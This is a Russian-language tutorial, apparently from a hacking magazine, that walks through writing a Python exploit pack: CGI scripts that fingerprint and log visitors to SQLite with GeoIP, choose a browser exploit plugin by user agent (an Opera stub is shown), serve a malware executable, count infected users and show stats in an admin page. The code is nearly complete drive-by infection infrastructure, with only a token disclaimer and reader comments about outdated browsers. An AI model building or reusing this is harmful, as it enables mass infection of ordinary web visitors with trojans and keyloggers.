Створення сплойт-пака from presidentua on Vimeo.
Пишем на Python'е собственный движок для связки
Fiesta, Fire-Pack, IcePack, Tornado и много-много других связок сплойтов знает (хотя уже в большинстве случаев лишь знал) мир хакеров, но ни одна из них не написана на Python'е. Этот пробел будем устранять.
Связка сплойтов - web-система, которая обьединяет несколько сплойтов. При заходе пользователя на страничку сплойты применяются и производится загрузка полезного программного обеспечения - бота, трояна, кейлогера и прочим. Также связка ведет статистику, где фиксирует кто заходил на страницу, и кто из них был "пробит" сплойтом и заражен нашим трояном. Мы разберем в статье как практически реализуется связка, правда не будем внедряться в сам процесс сплойтописания, ведь это отдельная интересная тема и заслуживает отдельной статьи. Итак в связке я бы выделил 4 части:
- выбор сплойта;
- отдача полезной нагрузки;
- админка;
- сплойты.Ындекс.py
Первой и наиболее главная часть, пусть будет именуемая "Ы", должна на запрос пользователя проанализировать его браузер и отдать страницу со сплойтом, который с максимальной вероятностью пробьет юзера. А также этот скрипт занесет в базу данных статистику о пользователе. Мы будем реализовывать простой вариант, когда пользователю отдается один сплойт. Хотя в некоторых случаях лучше использовать несколько сплойтов, которые поочередно применяются ротором на JavaScript, но это для следующих релизов ;).
Реагировать на запрос юзера будем через cgi (о нем читай во врезке). Для тестирования всего этого проще всего скачать Denwer и модуль к нему для Python'а (я уже все скачал, установил, настроил для тебя, так что копируй с нашего диска и запускай).
Первый модуль будет полностью в файле Ындекс - index.py. Для отображения страницы используя CGI, нужно указать что скрипт написан на Python'e, а дальше печатать обязательно заголовок с полем Content-type, пустую строку для отделения заголовка от основного тела, и непосредственно наш HTML:
#!/usr/bin/python
# -*- coding: utf-8 -*-
print 'Content-type: text/html'
print
print '<h1>XEK</h1>'Чтобы разрешить CGI, еще нужно создать файл .htaccess со строчкой:
Options +ExecCGICGI интерфейс кроме отдачи страницы в браузер, позволяет получать некоторую дополнительную информацию, и в первую очередь нас интересует откуда юзер пришел - referer, его IP, а также User-agent - все это хранится в переменной environ из модуля os. И получить их можно таким кодом:
import os
ip = os.environ["REMOTE_ADDR"]
ua = os.environ["HTTP_USER_AGENT"]
rf = os.environ["HTTP_REFERER"]ua = os.environ.get("HTTP_USER_AGENT",'N/A')Имея данную информацию о пользователе нужно все сохранить в базу данных. В качестве которой лучшим кандидатом есть SQLite, о котором некоторые факты описал во врезке. Статистику же лучше еще расширить немного и добавить страну юзера. Для этих целей используются специальные базы соответствия IP адреса и страны. Мы будем использовать бесплатную версию базы с сайта http://maxmind.com/. Что бы удобно работать с ней, есть библиотека на сайте http://code.google.com/p/pygeoip/. Скопируем эту библиотеку и базу в папку pygeoip и в нашем скрипте Ындекс.py легко можем использовать такой код:
import pygeoip
gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')
cc = gi.country_code_by_addr(ip)SQLite
Вернемся к SQLite. Для примера напишем скрипт инсталляции install.py и разместим его в папке data, который будет лишь создавать пустую базу данных с двумя таблицами:
import sqlite3
conn = sqlite3.connect('base.db')
conn.execute("CREATE TABLE enter \
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \
ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.execute("CREATE TABLE load \
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \
ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.commit()
conn.close()Сначала в первой строчке вышеприведенного кода импортируем библиотеку для работы с sqlite3, дальше создаем подключение к базе данных, если файла нету, то он сразу будет создан автоматически. Потом в базу данных производим два SQL запроса по созданию таблиц, одну для сохранения информации о всех пользователей, которые зашли на связку, а вторая для зараженных юзеров, что скачали нагрузку. Как видим SQL-синтаксис несколько упрощен тем, что не указывается тип поля, потому что типы полей при создании таблицы декларативные. Т.е. при сохранении записи движок сам определяет в каком формате сохранять. Тип данных конкретного столбца может меняться от строки к строке. Также видим, что мы создали 2 автоматических поля, первый автоинкрементный ключ, а также поле date куда автоматически записывается текущая дата и время.
Теперь наш файл Ындекс.py можно добавить строчки для статистики:
conn = sqlite3.connect('./data/base.db')
conn.execute('INSERT INTO enter (ip,ua,rf,cc) \
VALUES (?,?,?,?)',(ip,ua,rf,cc))
conn.commit()
conn.close()Еще сюда бы добавить проверку заходил ли раньше юзер, и если заходил, то показать 404 ошибку. Думаю этот функционал ты сможешь сам добавить, или подсмотреть на диске.
Загрузка плагинов со сплойтами
После записи статистики чаще всего идет проверка на браузер и выбирается со статического списка сплойт, но это не красиво смотрится. Мы будем использовать плагины, которые разместим в папке data/sploits. Каждый сплойт представляет собою файл в котором должно быть две функции init и run. Функция init на вход получает user-agent и определяет сможет ли она пробить браузер, если да - возвращает 1, если нет - 0. А мы в свою очередь если получили 1, то запускаем функцию run которая непосредственно вставит эксплойт в страницу. С плагинами мы уже работали во время написания jabber-бота для администрирования, поэтому код, который загрузит все плагины и запустит их - можно подсмотреть во врезке.
Если же мы обработали все плагины и они сказали что не смогут пробить браузер пользователя, то значить нужно показать пользователю страницу с 404 ошибкой:
print 'Status: 404 Not Found'
print 'Content-type: text/html'
print
print 'Not Found'def init(ua):
if ua.find('Opera/9.6') and \
ua.find('Windows NT'):
return 1
return 0
def run(url):
print "Content-type: text/html"
print
print '''
<script language=JavaScript>
function dc(x){var l=x.length,b=1024,i,j,...'''Отдача полезной нагрузки
Когда в браузере сработал наш сплойт, то он старается загрузить полезную нагрузку, а нашем случае со скрипта load.py. Этот скрипт должен сначала занести статистику в файл базы, а потом отдать нагрузку - файл load.exe. Со статистикой уже разобрались и код аналогичный с Ындекс.ру, лишь нужно вносить данные не в таблицу enter, а в load.
В отдаче файла есть один нюанс связанный с Виндовс, потому что в нем нужно указать поток буфера вывода работать в бинарном режиме:
import msvcrt
msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)sys.stdout.write( \
file(r"./data/load.exe", "rb").read() )Админка
Админка самая простая и одновременно самая трудоемкая часть. В ней нужно реализовать вывод многих статистических данных. Но мы лишь реализуем минимальный функционал с выводом просто таблицы enter и load. Главная часть кода состоит в нескольких простых строчек, а остальную часть можно посмотреть на диске:
conn = sqlite3.connect('./../data/base.db')
for row in conn.execute("select * from %s \
order by date desc" % table):
print '<tr>'
print '<td>%s</td><td>%s</td>' \
% (row[0], row[1])
print '</tr>'
conn.close()Name it!
Связку мы получили, и если туда добавить пару новых сплойтов, то хоть сразу можно устанавливать на сервак и все мощности TDS направить на нее. Хотя осталась одна очень важная часть - название связки. Ведь как корабль назовешь, так он и поплывет, поэтому пусть пока будет Sergant Sploit Pack, когда будут добавлены сплойты, шифрования сплойтов, JavaScrip ротор, уж после этого переименуем в General Sploit Pack.
Так что мой друг пользуйся ею для изучения Python'а, браузера и уязвимостей, но ни в коем случае не порабощения компьютеров простых смертных и воздастся тебе по заслугам ;), а будут вопросы - задавай их мне грешнику у меня на сайте tutamc.com.
SQLite
SQLite - это встраиваемая база данных. Слово «встраиваемая» означает, что SQLite не использует парадигму клиент-сервер, то есть движок SQLite не является отдельно работающим процессом, с которым взаимодействует программа, а предоставляет библиотеку, с которой программа компонуется и движок становится составной частью программы. Таким образом, в качестве протокола обмена используются вызовы функций (API) библиотеки SQLite. Такой подход уменьшает накладные расходы, время отклика и упрощает программу. SQLite хранит всю базу данных (включая определения, таблицы, индексы и данные) в единственном стандартном файле на том компьютере, на котором исполняется программа. Простота реализации достигается за счёт того, что перед началом исполнения транзакции весь файл, хранящий базу данных, блокируется; ACID-функции достигаются в том числе за счёт создания файла-журнала. Несколько процессов или потоков могут одновременно без каких-либо проблем читать данные из одной базы. Запись в базу можно осуществить только в том случае, если никаких других запросов в данный момент не обслуживается; в противном случае попытка записи оканчивается неудачей, и в программу возвращается код ошибки. Другим вариантом развития событий является автоматическое повторение попыток записи в течение заданного интервала времени.
Благодаря архитектуре движка возможно использовать Sqlite как на встраиваемых (embedded) системах, так и на выделенных машинах с гигабайтными массивами данных. Сама библиотека SQLite написана на C; существует большое количество привязок к другим языкам программирования, в том числе C++, Java, .NET, Python, Perl, PHP, Tcl (средства для работы с Tcl включены в комплект поставки SQLite), Ruby, Haskell, Scheme, Smalltalk и Lua, а также ко многим другим.
В 2005 году проект получил награду Google-O’Reilly Open Source Awards.
CGI
CGI (от англ. Common Gateway Interface — «общий интерфейс шлюза») — стандарт интерфейса, используемого для связи внешней программы с веб-сервером. Сам интерфейс разработан таким образом, чтобы можно было использовать любой язык программирования, который может работать со стандартными устройствами ввода/вывода. Такими возможностями обладают даже скрипты для встроенных командных интерпретаторов операционных систем, поэтому в тех случаях, когда нет нужды в сложной функциональности, могут использоваться даже такие простые командные скрипты.
Хотя мы и используем CGI для примера из за простоты, но на практике он уже уступает другим альтернативам, таким как FastCGI, SCGI, WSGI и другим.
Код скрипта index.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import sqlite3
import pygeoip
ip = os.environ.get("REMOTE_ADDR",'127.0.0.1')
ua = os.environ.get("HTTP_USER_AGENT",'')
rf = os.environ.get("HTTP_REFERER",'')
gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')
cc = gi.country_code_by_addr(ip)
conn = sqlite3.connect('./data/base.db')
conn.execute('INSERT INTO enter (ip,ua,rf,cc) \
VALUES (?,?,?,?)',(ip,ua,rf,cc))
conn.commit()
conn.close()
for fname in os.listdir('sploits'):
if fname.endswith('.py'):
plugin_name = fname[:-3]
if plugin_name != '__init__':
plugins=__import__('sploits.'+plugin_name)
plugin = getattr(plugins,plugin_name)
if plugin.init(ua):
plugin.run()
exit()
print 'Status: 404 Not Found'
print 'Content-type: text/html'
print
print 'Not Found'Код скрипта load.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os,sys
import sqlite3
import pygeoip
from StringIO import StringIO
# здесь статистика аналогичная как и в index.py
try: # Windows only
import msvcrt
msvcrt.setmode(sys.stdout.fileno(),os.O_BINARY)
except ImportError: pass
print 'Content-Type: application/x-octetstream'
print 'Content-Disposition: attachment; \
filename=load.exe'
print 'Content-Title: load.exe'
print
sys.stdout.write( \
file(r"./data/load.exe", "rb").read() )


Comments
взагалі то - супер, жалко без слів - мало хто пойме.
Цей ролік потрібно показувати всім хто натискає кнопку "НІ" коли його браузер хоче обновитися.
а то вчора дивився одного компа, і кажу - не користуйтесь IE, ось файд остання мозіла і нею пользуйтесь, а мені кажуть, а в мене дома Опера - то нормально? Кажу да, але яка у вас версія 10? - Ні, а що?
ну я розказав, що то вже по суч. мірках вважається старим, дирявим браузером, тут у відповідь - та вона мені вже 10000... раз пропонуала обновитись, а я все НІ... . Короче поки юзер порнобанер на пів вікна собі не поцепить до його не дойде ))))
надеюсь продолжение будет ?;)
Неа. Остальное скорее всего будет во вред обществу, а не в ознакомительных целях )